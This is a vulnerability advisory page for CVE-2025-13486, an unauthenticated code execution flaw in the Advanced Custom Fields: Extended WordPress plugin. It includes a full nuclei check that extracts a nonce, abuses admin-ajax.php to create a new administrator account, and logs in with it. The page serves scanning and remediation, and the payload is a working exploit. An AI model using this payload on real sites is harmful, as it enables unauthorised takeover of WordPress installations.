Browse / CVEs / CVE-2025-13486
CVE-2025-13486· CWE-94
Advanced Custom Fields Extended < 0.9.2 - Remote Code Execution
criticalseverity
9.8CVSS score
68.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Advanced Custom Fields: Extended WordPress plugin 0.9.0.5 through 0.9.1.1 contains a remote code execution caused by unsafe use of call_user_func_array() in prepare_form() function, letting unauthenticated attackers execute arbitrary code remotely.
Impact
Unauthenticated attackers can execute arbitrary code remotely, potentially leading to backdoor installation or creation of admin accounts.
Fix
Update to the latest version beyond 0.9.1.1.
How to confirm it
Send: GET /
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')Run it with nuclei: nuclei -id CVE-2025-13486 -u <target>
The full check
id: CVE-2025-13486
info:
name: Advanced Custom Fields Extended < 0.9.2 - Remote Code Execution
author: 0xanis
severity: critical
description: |
Advanced Custom Fields: Extended WordPress plugin 0.9.0.5 through 0.9.1.1 contains a remote code execution caused by unsafe use of call_user_func_array() in prepare_form() function, letting unauthenticated attackers execute arbitrary code remotely.
impact: |
Unauthenticated attackers can execute arbitrary code remotely, potentially leading to backdoor installation or creation of admin accounts.
remediation: |
Update to the latest version beyond 0.9.1.1.
reference:
- https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2025-13486
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-94
metadata:
verified: true
max-request: 3
shodan-query: http.component:"WordPress"
fofa-query: body="wp-content/plugins/acf-extended"
tags: cve,cve2025,wordpress,wp-plugin,acfe,rce,vkev,vuln
variables:
username: "admin_{{rand_text_alpha(4)}}"
password: "admin_{{rand_text_alpha(4)}}"
email: "{{username}}@{{rand_base(5)}}.com"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
group: 1
regex:
- 'acf\.data.*?"nonce":"([a-f0-9]+)"'
internal: true
name: nonce
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=acfe/form/render_form_ajax&nonce={{nonce}}&form[render]=wp_insert_user&form[user_login]={{username}}&form[user_pass]={{password}}&form[user_email]={{email}}&form[role]=administrator
matchers:
- type: dsl
dsl:
- status_code == 200
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, 'wordpress_logged_in')
condition: and
extractors:
- type: dsl
dsl:
- '"Username: " + username + " | Password: " + password'References
- https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2025-13486
Use this check only on systems you are authorised to test. Where the data comes from